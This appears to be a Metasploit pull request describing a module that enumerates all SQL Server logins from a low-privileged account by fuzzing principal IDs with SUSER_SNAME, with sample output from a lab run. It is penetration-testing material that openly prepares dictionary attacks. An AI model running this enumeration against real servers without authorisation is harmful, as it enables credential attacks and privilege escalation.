rapid7/metasploit-framework — pull request #4168 by nullbind (2014-11-10 21:27:53+00:00)
Title: Added mssql_enum_sql_logins module

This module can be used to obtain a list of all logins from a SQL Server with any login.
Selecting all of the logins from the master..syslogins table is restricted to sysadmins. However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server logins using the SUSER_SNAME function and fuzzing the principal_id parameter. This is pretty simple, because the principal ids assigned to logins are incremental. Once logins have been enumerated they can be verified via sp_defaultdb error analysis. This is important, because not all of the principal ids resolve to SQL logins. Some resolve to roles etc. Once logins
have been enumerated they can be used in dictionary attacks that can result in additional
privileges.

**Lab Setup Guide**
https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/mssql_enum_sql_logins_lab.txt

**Sample Output**

msf auxiliary(mssql_enum_sql_logins) > run
[*] Attempting to connect to the database server at 10.2.9.101:1433 as myappuser1...
[+] Connected.
[*] Checking if myappuser1 has the sysadmin role...
[*] myappuser1 is NOT a sysadmin.
[*] Setup to fuzz 300 SQL Server logins.
[*] Enumerating logins...
[+] 21 initial SQL Server logins were found.
[*] Verifying the SQL Server logins...
[+] 13 SQL Server logins were verified:
[*] - ##MS_AgentSigningCertificate##
[*] - ##MS_SQLAuthenticatorCertificate##
[*] - ##MS_SQLReplicationSigningCertificate##
[*] - ##MS_SQLResourceSigningCertificate##
[*] - BUILTIN\Users
[*] - BUILTIN\administrators
[*] - MyAppUser1
[*] - MyAppUser2
[*] - MyAppUser3
[*] - MyAppUser4
[*] - MyAppUser5
[*] - NT AUTHORITY\SYSTEM
[*] - sa
[*] Auxiliary module execution completed